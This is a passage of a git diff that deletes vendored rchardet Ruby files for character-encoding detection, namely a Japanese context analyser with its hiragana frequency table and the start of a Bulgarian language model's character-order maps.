-7539,4567,7540,7541,7542,7543,7544,7545,5003,7546,4568,7547,7548,7549,7550,7551, # 7296
-7552,7553,7554,7555,7556,5004,7557,7558,7559,5005,7560,3795,7561,4569,7562,7563, # 7312
-7564,2821,3796,4276,4277,4081,7565,2876,7566,5006,7567,7568,2900,7569,3797,3912, # 7328
-7570,7571,7572,4278,7573,7574,7575,5007,7576,7577,5008,7578,7579,4279,2934,7580, # 7344
-7581,5009,7582,4570,7583,4280,7584,7585,7586,4571,4572,3913,7587,4573,3505,7588, # 7360
-5010,7589,7590,7591,7592,3798,4574,7593,7594,5011,7595,4281,7596,7597,7598,4282, # 7376
-5012,7599,7600,5013,3163,7601,5014,7602,3914,7603,7604,2734,4575,4576,4577,7605, # 7392
-7606,7607,7608,7609,3506,5015,4578,7610,4082,7611,2822,2901,2579,3683,3024,4579, # 7408
-3507,7612,4580,7613,3226,3799,5016,7614,7615,7616,7617,7618,7619,7620,2995,3290, # 7424
-7621,4083,7622,5017,7623,7624,7625,7626,7627,4581,3915,7628,3291,7629,5018,7630, # 7440
-7631,7632,7633,4084,7634,7635,3427,3800,7636,7637,4582,7638,5019,4583,5020,7639, # 7456
-3916,7640,3801,5021,4584,4283,7641,7642,3428,3591,2269,7643,2617,7644,4585,3592, # 7472
-7645,4586,2902,7646,7647,3227,5022,7648,4587,7649,4284,7650,7651,7652,4588,2284, # 7488
-7653,5023,7654,7655,7656,4589,5024,3802,7657,7658,5025,3508,4590,7659,7660,7661, # 7504
-1969,5026,7662,7663,3684,1821,2688,7664,2028,2509,4285,7665,2823,1841,7666,2689, # 7520
-3114,7667,3917,4085,2160,5027,5028,2972,7668,5029,7669,7670,7671,3593,4086,7672, # 7536
-4591,4087,5030,3803,7673,7674,7675,7676,7677,7678,7679,4286,2366,4592,4593,3067, # 7552
-2328,7680,7681,4594,3594,3918,2029,4287,7682,5031,3919,3370,4288,4595,2856,7683, # 7568
-3509,7684,7685,5032,5033,7686,7687,3804,2784,7688,7689,7690,7691,3371,7692,7693, # 7584
-2877,5034,7694,7695,3920,4289,4088,7696,7697,7698,5035,7699,5036,4290,5037,5038, # 7600
-5039,7700,7701,7702,5040,5041,3228,7703,1760,7704,5042,3229,4596,2106,4089,7705, # 7616
-4597,2824,5043,2107,3372,7706,4291,4090,5044,7707,4091,7708,5045,3025,3805,4598, # 7632
-4292,4293,4294,3373,7709,4599,7710,5046,7711,7712,5047,5048,3806,7713,7714,7715, # 7648
-5049,7716,7717,7718,7719,4600,5050,7720,7721,7722,5051,7723,4295,3429,7724,7725, # 7664
-7726,7727,3921,7728,3292,5052,4092,7729,7730,7731,7732,7733,7734,7735,5053,5054, # 7680
-7736,7737,7738,7739,3922,3685,7740,7741,7742,7743,2635,5055,7744,5056,4601,7745, # 7696
-7746,2560,7747,7748,7749,7750,3923,7751,7752,7753,7754,7755,4296,2903,7756,7757, # 7712
-7758,7759,7760,3924,7761,5057,4297,7762,7763,5058,4298,7764,4093,7765,7766,5059, # 7728
-3925,7767,7768,7769,7770,7771,7772,7773,7774,7775,7776,3595,7777,4299,5060,4094, # 7744
-7778,3293,5061,7779,7780,4300,7781,7782,4602,7783,3596,7784,7785,3430,2367,7786, # 7760
-3164,5062,5063,4301,7787,7788,4095,5064,5065,7789,3374,3115,7790,7791,7792,7793, # 7776
-7794,7795,7796,3597,4603,7797,7798,3686,3116,3807,5066,7799,7800,5067,7801,7802, # 7792
-4604,4302,5068,4303,4096,7803,7804,3294,7805,7806,5069,4605,2690,7807,3026,7808, # 7808
-7809,7810,7811,7812,7813,7814,7815,7816,7817,7818,7819,7820,7821,7822,7823,7824, # 7824
-7825,7826,7827,7828,7829,7830,7831,7832,7833,7834,7835,7836,7837,7838,7839,7840, # 7840
-7841,7842,7843,7844,7845,7846,7847,7848,7849,7850,7851,7852,7853,7854,7855,7856, # 7856
-7857,7858,7859,7860,7861,7862,7863,7864,7865,7866,7867,7868,7869,7870,7871,7872, # 7872
-7873,7874,7875,7876,7877,7878,7879,7880,7881,7882,7883,7884,7885,7886,7887,7888, # 7888
-7889,7890,7891,7892,7893,7894,7895,7896,7897,7898,7899,7900,7901,7902,7903,7904, # 7904
-7905,7906,7907,7908,7909,7910,7911,7912,7913,7914,7915,7916,7917,7918,7919,7920, # 7920
-7921,7922,7923,7924,3926,7925,7926,7927,7928,7929,7930,7931,7932,7933,7934,7935, # 7936
-7936,7937,7938,7939,7940,7941,7942,7943,7944,7945,7946,7947,7948,7949,7950,7951, # 7952
-7952,7953,7954,7955,7956,7957,7958,7959,7960,7961,7962,7963,7964,7965,7966,7967, # 7968
-7968,7969,7970,7971,7972,7973,7974,7975,7976,7977,7978,7979,7980,7981,7982,7983, # 7984
-7984,7985,7986,7987,7988,7989,7990,7991,7992,7993,7994,7995,7996,7997,7998,7999, # 8000
-8000,8001,8002,8003,8004,8005,8006,8007,8008,8009,8010,8011,8012,8013,8014,8015, # 8016
-8016,8017,8018,8019,8020,8021,8022,8023,8024,8025,8026,8027,8028,8029,8030,8031, # 8032
-8032,8033,8034,8035,8036,8037,8038,8039,8040,8041,8042,8043,8044,8045,8046,8047, # 8048
-8048,8049,8050,8051,8052,8053,8054,8055,8056,8057,8058,8059,8060,8061,8062,8063, # 8064
-8064,8065,8066,8067,8068,8069,8070,8071,8072,8073,8074,8075,8076,8077,8078,8079, # 8080
-8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095, # 8096
-8096,8097,8098,8099,8100,8101,8102,8103,8104,8105,8106,8107,8108,8109,8110,8111, # 8112
-8112,8113,8114,8115,8116,8117,8118,8119,8120,8121,8122,8123,8124,8125,8126,8127, # 8128
-8128,8129,8130,8131,8132,8133,8134,8135,8136,8137,8138,8139,8140,8141,8142,8143, # 8144
-8144,8145,8146,8147,8148,8149,8150,8151,8152,8153,8154,8155,8156,8157,8158,8159, # 8160
-8160,8161,8162,8163,8164,8165,8166,8167,8168,8169,8170,8171,8172,8173,8174,8175, # 8176
-8176,8177,8178,8179,8180,8181,8182,8183,8184,8185,8186,8187,8188,8189,8190,8191, # 8192
-8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8203,8204,8205,8206,8207, # 8208
-8208,8209,8210,8211,8212,8213,8214,8215,8216,8217,8218,8219,8220,8221,8222,8223, # 8224
-8224,8225,8226,8227,8228,8229,8230,8231,8232,8233,8234,8235,8236,8237,8238,8239, # 8240
-8240,8241,8242,8243,8244,8245,8246,8247,8248,8249,8250,8251,8252,8253,8254,8255, # 8256
-8256,8257,8258,8259,8260,8261,8262,8263,8264,8265,8266,8267,8268,8269,8270,8271] # 8272
-end
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/jpcntx.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/jpcntx.rb
deleted file mode 100755
index 6f8e97c3..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/jpcntx.rb
+++ /dev/null
@@ -1,229 +0,0 @@
-######################## BEGIN LICENSE BLOCK ########################
-# The Original Code is Mozilla Communicator client code.
-#
-# The Initial Developer of the Original Code is
-# Netscape Communications Corporation.
-# Portions created by the Initial Developer are Copyright (C) 1998
-# the Initial Developer. All Rights Reserved.
-#
-# Contributor(s):
-#   Jeff Hodges - port to Ruby
-#   Mark Pilgrim - port to Python
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-# 
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-# 
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
-# 02110-1301  USA
-######################### END LICENSE BLOCK #########################
-
-module CharDet
-  NUM_OF_CATEGORY = 6
-  DONT_KNOW = -1
-  ENOUGH_REL_THRESHOLD = 100
-  MAX_REL_THRESHOLD = 1000
-  MINIMUM_DATA_THRESHOLD = 4
-
-  # This is hiragana 2-char sequence table, the number in each cell represents its frequency category
-  jp2CharContext = [
-    [0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1],
-    [2,4,0,4,0,3,0,4,0,3,4,4,4,2,4,3,3,4,3,2,3,3,4,2,3,3,3,2,4,1,4,3,3,1,5,4,3,4,3,4,3,5,3,0,3,5,4,2,0,3,1,0,3,3,0,3,3,0,1,1,0,4,3,0,3,3,0,4,0,2,0,3,5,5,5,5,4,0,4,1,0,3,4],
-    [0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2],
-    [0,4,0,5,0,5,0,4,0,4,5,4,4,3,5,3,5,1,5,3,4,3,4,4,3,4,3,3,4,3,5,4,4,3,5,5,3,5,5,5,3,5,5,3,4,5,5,3,1,3,2,0,3,4,0,4,2,0,4,2,1,5,3,2,3,5,0,4,0,2,0,5,4,4,5,4,5,0,4,0,0,4,4],
-    [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],
-    [0,3,0,4,0,3,0,3,0,4,5,4,3,3,3,3,4,3,5,4,4,3,5,4,4,3,4,3,4,4,4,4,5,3,4,4,3,4,5,5,4,5,5,1,4,5,4,3,0,3,3,1,3,3,0,4,4,0,3,3,1,5,3,3,3,5,0,4,0,3,0,4,4,3,4,3,3,0,4,1,1,3,4],
-    [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],
-    [0,4,0,3,0,3,0,4,0,3,4,4,3,2,2,1,2,1,3,1,3,3,3,3,3,4,3,1,3,3,5,3,3,0,4,3,0,5,4,3,3,5,4,4,3,4,4,5,0,1,2,0,1,2,0,2,2,0,1,0,0,5,2,2,1,4,0,3,0,1,0,4,4,3,5,4,3,0,2,1,0,4,3],
-    [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],
-    [0,3,0,5,0,4,0,2,1,4,4,2,4,1,4,2,4,2,4,3,3,3,4,3,3,3,3,1,4,2,3,3,3,1,4,4,1,1,1,4,3,3,2,0,2,4,3,2,0,3,3,0,3,1,1,0,0,0,3,3,0,4,2,2,3,4,0,4,0,3,0,4,4,5,3,4,4,0,3,0,0,1,4],
-    [1,4,0,4,0,4,0,4,0,3,5,4,4,3,4,3,5,4,3,3,4,3,5,4,4,4,4,3,4,2,4,3,3,1,5,4,3,2,4,5,4,5,5,4,4,5,4,4,0,3,2,2,3,3,0,4,3,1,3,2,1,4,3,3,4,5,0,3,0,2,0,4,5,5,4,5,4,0,4,0,0,5,4],
-    [0,5,0,5,0,4,0,3,0,4,4,3,4,3,3,3,4,0,4,4,4,3,4,3,4,3,3,1,4,2,4,3,4,0,5,4,1,4,5,4,4,5,3,2,4,3,4,3,2,4,1,3,3,3,2,3,2,0,4,3,3,4,3,3,3,4,0,4,0,3,0,4,5,4,4,4,3,0,4,1,0,1,3],
-    [0,3,1,4,0,3,0,2,0,3,4,4,3,1,4,2,3,3,4,3,4,3,4,3,4,4,3,2,3,1,5,4,4,1,4,4,3,5,4,4,3,5,5,4,3,4,4,3,1,2,3,1,2,2,0,3,2,0,3,1,0,5,3,3,3,4,3,3,3,3,4,4,4,4,5,4,2,0,3,3,2,4,3],
-    [0,2,0,3,0,1,0,1,0,0,3,2,0,0,2,0,1,0,2,1,3,3,3,1,2,3,1,0,1,0,4,2,1,1,3,3,0,4,3,3,1,4,3,3,0,3,3,2,0,0,0,0,1,0,0,2,0,0,0,0,0,4,1,0,2,3,2,2,2,1,3,3,3,4,4,3,2,0,3,1,0,3,3],
-    [0,4,0,4,0,3,0,3,0,4,4,4,3,3,3,3,3,3,4,3,4,2,4,3,4,3,3,2,4,3,4,5,4,1,4,5,3,5,4,5,3,5,4,0,3,5,5,3,1,3,3,2,2,3,0,3,4,1,3,3,2,4,3,3,3,4,0,4,0,3,0,4,5,4,4,5,3,0,4,1,0,3,4],
-    [0,2,0,3,0,3,0,0,0,2,2,2,1,0,1,0,0,0,3,0,3,0,3,0,1,3,1,0,3,1,3,3,3,1,3,3,3,0,1,3,1,3,4,0,0,3,1,1,0,3,2,0,0,0,0,1,3,0,1,0,0,3,3,2,0,3,0,0,0,0,0,3,4,3,4,3,3,0,3,0,0,2,3],
-    [2,3,0,3,0,2,0,1,0,3,3,4,3,1,3,1,1,1,3,1,4,3,4,3,3,3,0,0,3,1,5,4,3,1,4,3,2,5,5,4,4,4,4,3,3,4,4,4,0,2,1,1,3,2,0,1,2,0,0,1,0,4,1,3,3,3,0,3,0,1,0,4,4,4,5,5,3,0,2,0,0,4,4],
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-    [0,0,0,3,0,3,0,0,0,0,3,1,1,0,3,0,1,0,2,0,1,0,0,0,0,0,0,0,1,0,3,0,2,0,2,3,0,0,2,2,3,1,2,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3,0,0,2,0,0,0,0,2,3],
-    [2,4,0,5,0,5,0,4,0,3,4,3,3,3,4,3,3,3,4,3,4,4,5,4,5,5,5,2,3,0,5,5,4,1,5,4,3,1,5,4,3,4,4,3,3,4,3,3,0,3,2,0,2,3,0,3,0,0,3,3,0,5,3,2,3,3,0,3,0,3,0,3,4,5,4,5,3,0,4,3,0,3,4],
-    [0,3,0,3,0,3,0,3,0,3,3,4,3,2,3,2,3,0,4,3,3,3,3,3,3,3,3,0,3,2,4,3,3,1,3,4,3,4,4,4,3,4,4,3,2,4,4,1,0,2,0,0,1,1,0,2,0,0,3,1,0,5,3,2,1,3,0,3,0,1,2,4,3,2,4,3,3,0,3,2,0,4,4],
-    [0,3,0,3,0,1,0,0,0,1,4,3,3,2,3,1,3,1,4,2,3,2,4,2,3,4,3,0,2,2,3,3,3,0,3,3,3,0,3,4,1,3,3,0,3,4,3,3,0,1,1,0,1,0,0,0,4,0,3,0,0,3,1,2,1,3,0,4,0,1,0,4,3,3,4,3,3,0,2,0,0,3,3],
-    [0,3,0,4,0,1,0,3,0,3,4,3,3,0,3,3,3,1,3,1,3,3,4,3,3,3,0,0,3,1,5,3,3,1,3,3,2,5,4,3,3,4,5,3,2,5,3,4,0,1,0,0,0,0,0,2,0,0,1,1,0,4,2,2,1,3,0,3,0,2,0,4,4,3,5,3,2,0,1,1,0,3,4],
-    [0,5,0,4,0,5,0,2,0,4,4,3,3,2,3,3,3,1,4,3,4,1,5,3,4,3,4,0,4,2,4,3,4,1,5,4,0,4,4,4,4,5,4,1,3,5,4,2,1,4,1,1,3,2,0,3,1,0,3,2,1,4,3,3,3,4,0,4,0,3,0,4,4,4,3,3,3,0,4,2,0,3,4],
-    [1,4,0,4,0,3,0,1,0,3,3,3,1,1,3,3,2,2,3,3,1,0,3,2,2,1,2,0,3,1,2,1,2,0,3,2,0,2,2,3,3,4,3,0,3,3,1,2,0,1,1,3,1,2,0,0,3,0,1,1,0,3,2,2,3,3,0,3,0,0,0,2,3,3,4,3,3,0,1,0,0,1,4],
-    [0,4,0,4,0,4,0,0,0,3,4,4,3,1,4,2,3,2,3,3,3,1,4,3,4,0,3,0,4,2,3,3,2,2,5,4,2,1,3,4,3,4,3,1,3,3,4,2,0,2,1,0,3,3,0,0,2,0,3,1,0,4,4,3,4,3,0,4,0,1,0,2,4,4,4,4,4,0,3,2,0,3,3],
-    [0,0,0,1,0,4,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,3,2,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,2],
-    [0,2,0,3,0,4,0,4,0,1,3,3,3,0,4,0,2,1,2,1,1,1,2,0,3,1,1,0,1,0,3,1,0,0,3,3,2,0,1,1,0,0,0,0,0,1,0,2,0,2,2,0,3,1,0,0,1,0,1,1,0,1,2,0,3,0,0,0,0,1,0,0,3,3,4,3,1,0,1,0,3,0,2],
-    [0,0,0,3,0,5,0,0,0,0,1,0,2,0,3,1,0,1,3,0,0,0,2,0,0,0,1,0,0,0,1,1,0,0,4,0,0,0,2,3,0,1,4,1,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,3,0,0,0,0,0,1,0,0,0,0,0,0,0,2,0,0,3,0,0,0,0,0,3],
-    [0,2,0,5,0,5,0,1,0,2,4,3,3,2,5,1,3,2,3,3,3,0,4,1,2,0,3,0,4,0,2,2,1,1,5,3,0,0,1,4,2,3,2,0,3,3,3,2,0,2,4,1,1,2,0,1,1,0,3,1,0,1,3,1,2,3,0,2,0,0,0,1,3,5,4,4,4,0,3,0,0,1,3],
-    [0,4,0,5,0,4,0,4,0,4,5,4,3,3,4,3,3,3,4,3,4,4,5,3,4,5,4,2,4,2,3,4,3,1,4,4,1,3,5,4,4,5,5,4,4,5,5,5,2,3,3,1,4,3,1,3,3,0,3,3,1,4,3,4,4,4,0,3,0,4,0,3,3,4,4,5,0,0,4,3,0,4,5],
-    [0,4,0,4,0,3,0,3,0,3,4,4,4,3,3,2,4,3,4,3,4,3,5,3,4,3,2,1,4,2,4,4,3,1,3,4,2,4,5,5,3,4,5,4,1,5,4,3,0,3,2,2,3,2,1,3,1,0,3,3,3,5,3,3,3,5,4,4,2,3,3,4,3,3,3,2,1,0,3,2,1,4,3],
-    [0,4,0,5,0,4,0,3,0,3,5,5,3,2,4,3,4,0,5,4,4,1,4,4,4,3,3,3,4,3,5,5,2,3,3,4,1,2,5,5,3,5,5,2,3,5,5,4,0,3,2,0,3,3,1,1,5,1,4,1,0,4,3,2,3,5,0,4,0,3,0,5,4,3,4,3,0,0,4,1,0,4,4],
-    [1,3,0,4,0,2,0,2,0,2,5,5,3,3,3,3,3,0,4,2,3,4,4,4,3,4,0,0,3,4,5,4,3,3,3,3,2,5,5,4,5,5,5,4,3,5,5,5,1,3,1,0,1,0,0,3,2,0,4,2,0,5,2,3,2,4,1,3,0,3,0,4,5,4,5,4,3,0,4,2,0,5,4],
-    [0,3,0,4,0,5,0,3,0,3,4,4,3,2,3,2,3,3,3,3,3,2,4,3,3,2,2,0,3,3,3,3,3,1,3,3,3,0,4,4,3,4,4,1,1,4,4,2,0,3,1,0,1,1,0,4,1,0,2,3,1,3,3,1,3,4,0,3,0,1,0,3,1,3,0,0,1,0,2,0,0,4,4],
-    [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],
-    [0,3,0,3,0,2,0,3,0,1,5,4,3,3,3,1,4,2,1,2,3,4,4,2,4,4,5,0,3,1,4,3,4,0,4,3,3,3,2,3,2,5,3,4,3,2,2,3,0,0,3,0,2,1,0,1,2,0,0,0,0,2,1,1,3,1,0,2,0,4,0,3,4,4,4,5,2,0,2,0,0,1,3],
-    [0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,1,0,0,0,4,2,1,1,0,1,0,3,2,0,0,3,1,1,1,2,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3,0,1,0,0,0,2,0,0,0,1,4,0,4,2,1,0,0,0,0,0,1],
-    [0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,3,1,0,0,0,2,0,2,1,0,0,1,2,1,0,1,1,0,0,3,0,0,0,0,0,0,0,0,0,0,0,1,3,1,0,0,0,0,0,1,0,0,2,1,0,0,0,0,0,0,0,0,2],
-    [0,4,0,4,0,4,0,3,0,4,4,3,4,2,4,3,2,0,4,4,4,3,5,3,5,3,3,2,4,2,4,3,4,3,1,4,0,2,3,4,4,4,3,3,3,4,4,4,3,4,1,3,4,3,2,1,2,1,3,3,3,4,4,3,3,5,0,4,0,3,0,4,3,3,3,2,1,0,3,0,0,3,3],
-    [0,4,0,3,0,3,0,3,0,3,5,5,3,3,3,3,4,3,4,3,3,3,4,4,4,3,3,3,3,4,3,5,3,3,1,3,2,4,5,5,5,5,4,3,4,5,5,3,2,2,3,3,3,3,2,3,3,1,2,3,2,4,3,3,3,4,0,4,0,2,0,4,3,2,2,1,2,0,3,0,0,4,1],
-  ]
-
-  class JapaneseContextAnalysis
-    def initialize
-      reset()
-    end
-
-    def reset
-      @_mTotalRel = 0 # total sequence received
-      @_mRelSample = [0] * NUM_OF_CATEGORY # category counters, each interger counts sequence in its category
-      @_mNeedToSkipCharNum = 0 # if last byte in current buffer is not the last byte of a character, we need to know how many bytes to skip in next buffer
-      @_mLastCharOrder = -1 # The order of previous char
-      @_mDone = false # If this flag is set to constants.True, detection is done and conclusion has been made
-    end
-
-    def feed(aBuf, aLen)
-      return if @_mDone
-
-      # The buffer we got is byte oriented, and a character may span in more than one
-      # buffers. In case the last one or two byte in last buffer is not complete, we 
-      # record how many byte needed to complete that character and skip these bytes here.
-      # We can choose to record those bytes as well and analyse the character once it 
-      # is complete, but since a character will not make much difference, by simply skipping
-      # this character will simply our logic and improve performance.
-      i = @_mNeedToSkipCharNum
-      while i < aLen
-        order, charLen = get_order(aBuf[i...i+2])
-        i += charLen
-        if i > aLen
-          @_mNeedToSkipCharNum = i - aLen
-          @_mLastCharOrder = -1
-        else
-          if (order != -1) and (@_mLastCharOrder != -1)
-            @_mTotalRel += 1
-            if @_mTotalRel > MAX_REL_THRESHOLD
-              @_mDone = true
-              break
-            end
-            @_mRelSample[jp2CharContext[@_mLastCharOrder][order]] += 1
-          end
-          @_mLastCharOrder = order
-        end
-      end
-    end
-
-    def got_enough_data
-      return @_mTotalRel > ENOUGH_REL_THRESHOLD
-    end
-
-    def get_confidence
-      # This is just one way to calculate confidence. It works well for me.
-      if @_mTotalRel > MINIMUM_DATA_THRESHOLD
-        return (@_mTotalRel - @_mRelSample[0]) / @_mTotalRel
-      else
-        return DONT_KNOW
-      end
-    end
-
-    def get_order(aStr)
-      return -1, 1
-    end
-  end
-
-
-  class SJISContextAnalysis < JapaneseContextAnalysis
-    def get_order(aStr)
-      return -1, 1 if not aStr
-      # find out current char's byte length
-      aStr = aStr[0..1].join if aStr.class == Array
-      if ((aStr[0..0] >= "\x81") and (aStr[0..0] <= "\x9F")) or ((aStr[0..0] >= "\xE0") and (aStr[0..0] <= "\xFC"))
-        charLen = 2
-      else
-        charLen = 1
-      end
-      # return its order if it is hiragana
-      if aStr.length > 1
-        if (aStr[0..0] == "\202") and (aStr[1..1] >= "\x9F") and (aStr[1..1] <= "\xF1")
-          return aStr[1] - 0x9F, charLen
-        end
-      end
-    
-      return -1, charLen
-    end
-  end
-
-  class EUCJPContextAnalysis < JapaneseContextAnalysis
-    def get_order(aStr)
-      return -1, 1 unless aStr
-      # find out current char's byte length
-      aStr = aStr[0..1].join if aStr.class == Array
-      if (aStr[0..0] == "\x8E") or ((aStr[0..0] >= "\xA1") and (aStr[0..0] <= "\xFE"))
-        charLen = 2
-      elsif aStr[0..0] == "\x8F"
-        charLen = 3
-      else
-        charLen = 1
-      end
-
-      # return its order if it is hiragana
-      if aStr.length > 1
-        if (aStr[0..0] == "\xA4") and (aStr[1..1] >= "\xA1") and (aStr[1..1] <= "\xF3")
-          return aStr[1] - 0xA1, charLen
-        end
-      end
-
-      return -1, charLen
-    end
-  end
-end
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/langbulgarianmodel.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/langbulgarianmodel.rb
deleted file mode 100755
index eb980388..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/langbulgarianmodel.rb
+++ /dev/null
@@ -1,229 +0,0 @@
-######################## BEGIN LICENSE BLOCK ########################
-# The Original Code is Mozilla Communicator client code.
-#
-# The Initial Developer of the Original Code is
-# Netscape Communications Corporation.
-# Portions created by the Initial Developer are Copyright (C) 1998
-# the Initial Developer. All Rights Reserved.
-#
-# Contributor(s):
-#   Jeff Hodges - port to Ruby
-#   Mark Pilgrim - port to Python
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-# 
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-# 
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
-# 02110-1301  USA
-######################### END LICENSE BLOCK #########################
-
-# 255: Control characters that usually does not exist in any text
-# 254: Carriage/Return
-# 253: symbol (punctuation) that does not belong to word
-# 252: 0 - 9
-
-# Character Mapping Table:
-# this table is modified base on win1251BulgarianCharToOrderMap, so 
-# only number <64 is sure valid
-
-module CharDet
-Latin5_BulgarianCharToOrderMap = [
-255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255,  # 00
-255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,  # 10
-253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,  # 20
-252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253,  # 30
-253, 77, 90, 99,100, 72,109,107,101, 79,185, 81,102, 76, 94, 82,  # 40
-110,186,108, 91, 74,119, 84, 96,111,187,115,253,253,253,253,253,  # 50
-253, 65, 69, 70, 66, 63, 68,112,103, 92,194,104, 95, 86, 87, 71,  # 60
-116,195, 85, 93, 97,113,196,197,198,199,200,253,253,253,253,253,  # 70
-194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,  # 80
-210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,  # 90
- 81,226,227,228,229,230,105,231,232,233,234,235,236, 45,237,238,  # a0
- 31, 32, 35, 43, 37, 44, 55, 47, 40, 59, 33, 46, 38, 36, 41, 30,  # b0
- 39, 28, 34, 51, 48, 49, 53, 50, 54, 57, 61,239, 67,240, 60, 56,  # c0
-  1, 18,  9, 20, 11,  3, 23, 15,  2, 26, 12, 10, 14,  6,  4, 13,  # d0
-  7,  8,  5, 19, 29, 25, 22, 21, 27, 24, 17, 75, 52,241, 42, 16,  # e0
- 62,242,243,244, 58,245, 98,246,247,248,249,250,251, 91,252,253,  # f0
-]
-
-win1251BulgarianCharToOrderMap = [
-255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255,  # 00
-255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,  # 10
-253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,  # 20
-252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253,  # 30
-253, 77, 90, 99,100, 72,109,107,101, 79,185, 81,102, 76, 94, 82,  # 40
-110,186,108, 91, 74,119, 84, 96,111,187,115,253,253,253,253,253,  # 50
-253, 65, 69, 70, 66, 63, 68,112,103, 92,194,104, 95, 86, 87, 71,  # 60
-116,195, 85, 93, 97,113,196,197,198,199,200,253,253,253,253,253,  # 70
-206,207,208,209,210,211,212,213,120,214,215,216,217,218,219,220,  # 80
-221, 78, 64, 83,121, 98,117,105,222,223,224,225,226,227,228,229,  # 90
- 88,230,231,232,233,122, 89,106,234,235,236,237,238, 45,239,240,  # a0
- 73, 80,118,114,241,242,243,244,245, 62, 58,246,247,248,249,250,  # b0
- 31, 32, 35, 43, 37, 44, 55, 47, 40, 59, 33, 46, 38, 36, 41, 30,  # c0
- 39, 28, 34, 51, 48, 49, 53, 50, 54, 57, 61,251, 67,252, 60, 56,  # d0
-  1, 18,  9, 20, 11,  3, 23, 15,  2, 26, 12, 10, 14,  6,  4, 13,  # e0
-  7,  8,  5, 19, 29, 25, 22, 21, 27, 24, 17, 75, 52,253, 42, 16,  # f0
-]
-
-# Model Table: 
-# total sequences: 100%
-# first 512 sequences: 96.9392%
